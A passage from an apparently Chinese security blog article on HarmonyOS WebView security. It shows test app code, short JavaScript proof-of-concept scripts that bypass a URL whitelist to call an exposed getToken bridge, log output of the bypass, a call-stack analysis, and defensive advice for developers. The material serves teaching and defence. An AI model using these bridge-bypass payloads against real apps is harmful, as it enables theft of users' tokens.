17. `controller: web_webview.WebviewController = new web_webview.WebviewController()`
18. `testObj = {`
19. `getToken: () => {`
20. `if( checkDomain(this.url2, "1") ){`
21. `hilog.info(0x0000, "test", "call into getToken");`
22. `}else{`
23. `hilog.info(0x0000, "test", "not allow call getToken");`
24. `}`
25. `}`
26. `}`
29. `build() {`
30. `Column() {`
31. `Button('loadUrl')`
32. `.onClick(() => {`
33. `hilog.info(0x0000, "test", this.url2);`
34. `//this.controller.loadUrl(this.url2);`
35. `})`
36. `Web({ src: this.url2, controller: this.controller })`
37. `.onUrlLoadIntercept( event => {`
38. `hilog.info(0x0000, "test", "event => %{public}s",event.data);`
39. `//this.url2 = event.data.toString();`
40. `let this.url2 = this.controller.getUrl();`
41. `hilog.info(0x0000, "test", "UrlIntercept url: %{public}s",this.url2);`
44. `if( checkDomain(this.url2,"0") )`
45. `return false;`
46. `return true;`
48. `})`
49. `.javaScriptProxy({`
50. `object: this.testObj,`
51. `name: "objName",`
52. `methodList: ["getToken"],`
53. `controller: this.controller,`
54. `})`
55. `}`
56. `}`
57. `}`
checkDomain不做修改，再次执行延时执行的POC
1. `<script>`
2. `var test = function(){alert(window.objName.getToken());};`
3. `setTimeout(test,90);`
4. `document.location.href='https://www.whitesite.com';`
5. `</script>`
输出日志如下，可以看到“完美”解决了延时攻击！
1. `12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html`
2. `12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html`
3. `12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: in check!!!`
4. `12-03 21:52:05.808 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126`
5. `12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: event => https://www.whitesite.com/`
6. `12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html`
7. `12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: in check!!!`
8. `12-03 21:52:05.852 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126`
9. `12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: event => https://www.whitesite.com/cn/?ic_medium=direct&ic_source=surlent`
10. `12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html`
11. `12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: in check!!!`
12. `12-03 21:52:05.897 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126`
13. `12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: in check!!!`
14. `12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126`
15. `12-03 21:52:05.925 21621-21621/com.example.mywant I A00000/test: not allow getToken`
如此我们真的可以防住攻击者绕过白名单校验了吗？不一定，且看下一小节JavascriptInterface once more。
这部分的详细前置知识需要读者了解The-Tangled-WebView-JavascriptInterface-Once-More，篇幅有限这里就做一些简述。在chromium中存在两种导航的方式，browser-initiated和render-initiated方式，browser-initiated方式通常来自用户交互行为的导航跳转，对于浏览器而言是可信的，浏览器会在跳转页面未完成加载（uncommitted）的情况下设置pendingentry为导航的url。而在安卓下webview.loadUrl即为封装的browser-initiated方式的导航，理论上这种接口不应给js提供可以触发的方式，如果js可以通过一些方式触发webview.loadUrl加载白名单的链接，那么将打破browser-initiated状态下pendingentry的可信度，且安卓接口webview.getUrl是在browser-initiated状态下获取的pending_entry，那么这里获取到的url数据即不可信的。这里所说的js通过一些方式触发webview.loadUrl加载白名单的链接，即为hearmen1在议题中提出的3种攻击模式：
开发者对外注册了webview.loadUrl方法的js接口；
在webview的如shouldOverrideUrlLoading等回调接口中以直接或间接的方式提供webview.loadUrl的调用，包括但不限于业务逻辑为外部传入的数据为非法的情况下，业务容错调用webview.loadUrl加载白名单作为新的跳转；
deeplink可以通过signleTask模式启动Webview组件；
（详细的攻击方式请参考议题原文）。 那么在文章开始处，我们介绍了纯鸿蒙的webview的软件架构，其底层使用的是cef封装的chromium，那么纯鸿蒙的接口webwebview.WebviewController.loadUrl是否也是browser-initiated状态的导航操作？那么我们从代码跟踪的角度看一下webwebview.WebviewController.loadUrl的底层实现，调用栈如下
1. `// /base/web/webview/interfaces/kits/napi/webviewcontroller/napi_webview_controller.cpp`
2. `201 DECLARE_NAPI_FUNCTION("loadUrl", NapiWebviewController::LoadUrl), in Init()`
3. `2221 napi_value NapiWebviewController::LoadUrlWithHttpHeaders(napi_env env, napi_callback_info info, const std::string& url, const napi_value* argv, WebviewController* webviewController)`
5. `// /base/web/webview/interfaces/kits/napi/webviewcontroller/webview_controller.cpp`
6. `497 ErrCode WebviewController::LoadUrl(std::string url) //in LoadUrl() function in OHOS::NWeb::WebviewController`
7. `506 ErrCode WebviewController::LoadUrl(std::string url, std::map<std::string, std::string> httpHeaders) //in LoadUrl() function in OHOS::NWeb::WebviewController`
9. `// /root/Huawei/aMaster/third_party/chromium/patch/0003-ohos-1115.patch`
10. `63289 +int NWebDelegate::Load(`
11. `// ...`
12. `browser->GetMainFrame()->LoadHeaderUrl(CefString(url), CefString(extra));`
15. `// /root/Huawei/aMaster/third_party/chromium/patch/0003-ohos-1115.patch`
16. `16433 +void CefFrameHostImpl::LoadHeaderUrl(const CefString& url,`
17. `+ const CefString& additionalHttpHeaders) {`
18. `+ LoadURLWithExtras(url, content::Referrer(), kPageTransitionExplicit,`
19. `+ additionalHttpHeaders);`
20. `+}`
22. `--> CefFrameHostImpl::LoadURLWithExtras()`
24. `--> CefBrowserHostBase::LoadMainFrameURL()`
26. `--> CefBrowserHostBase::Navigate()`
28. `--> NavigationControllerImpl::LoadURL()`
30. `--> NavigationControllerImpl::LoadURLWithParams()`
32. `--> NavigationControllerImpl::NavigateWithoutEntry()`
34. `// ...`
从代码分析我们可以看到web_webview.WebviewController.loadUrl同样是browser-initiated状态下的操作，那么最后的问题在上一小节f中最后给出的校验代码还能否起到防护的作用？我们按照最直接的攻击模式1的思路来写个测试代码，多注册一个loadUrl的接口给外部
1. `// 其余校验代码不变`
2. `testObj = {`
3. `getToken: () => {`
4. `//hilog.info(0x0000, "dami", "in getToken");`
5. `if( checkDomain(this.url2, "1") ){`
6. `hilog.info(0x0000, "test", "allow getToken");`
7. `}else{`
8. `hilog.info(0x0000, "test", "not allow getToken");`
9. `}`
10. `},`
12. `myloadurl: (myurl: string)=>{`
13. `this.controller.loadUrl(myurl);`
14. `}`
15. `}`
修改一下测试的poc
1. `<script>`
2. `var test = function(){window.objName.getToken();};`
3. `// 以下方式直接跳转`
4. `setTimeout(test, 70);`
5. `window.objName.myloadurl("https://www.whitesite.com");`
6. `</script>`
日志输出如下，可以看到在上一小节中的校验方式在某些环境下也还是存在被绕过的可能
1. `12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: event => http://192.168.3.126/redirect.html`
2. `12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: UrlIntercept url: http://192.168.3.126/redirect.html`
3. `12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: in check!!!`
4. `12-04 16:39:20.963 4401-4401/com.example.mywant I A00000/test: CheckDomain host: 192.168.3.126`
5. `12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: event => https://www.whitesite.com/`
6. `12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: UrlIntercept url: https://www.whitesite.com/`
7. `12-04 16:39:21.063 4401-4401/com.example.mywant I A00000/test: in check!!!`
8. `12-04 16:39:21.064 4401-4401/com.example.mywant I A00000/test: CheckDomain host: www.whitesite.com`
9. `12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: in check!!!`
10. `12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: CheckDomain host: www.whitesite.com`
11. `12-04 16:39:21.146 4401-4401/com.example.mywant I A00000/test: allow getToken`
这类问题主要原因是开发者对chromium的一些机制和开发的规范理解不到位，导致的可信边界被打破，所以这类问题的修改站在开发者的角度来说，可以根据议题中的3种攻击模式开展防御思路：
不对外暴露webview的loadUrl能力，或者js可触发的路径；
避免在onUrlLoadIntercept等接口中调用webview的loadUrl能力；
关注deeplink中调用了webview的loadUrl，且相应Ability的LaunchType/LaunchMode为SINGLETON；
（以现在纯鸿蒙的迭代速度，说不准下个版本会有规避方案呢；）
在这篇文章中我们介绍了纯鸿蒙相关的webview应用的开发以及安全相关配置与编码，以及在移动端涉及较多的白名单校验的问题。相信通过这篇文章可以让纯鸿蒙应用的开发人员写出更加安全的代码。感谢rebeyond和hearmen1前辈们的研究工作，最后补充一句，作者水平有限，如有错误或者未考虑到的情况请留言或私信指正 ; )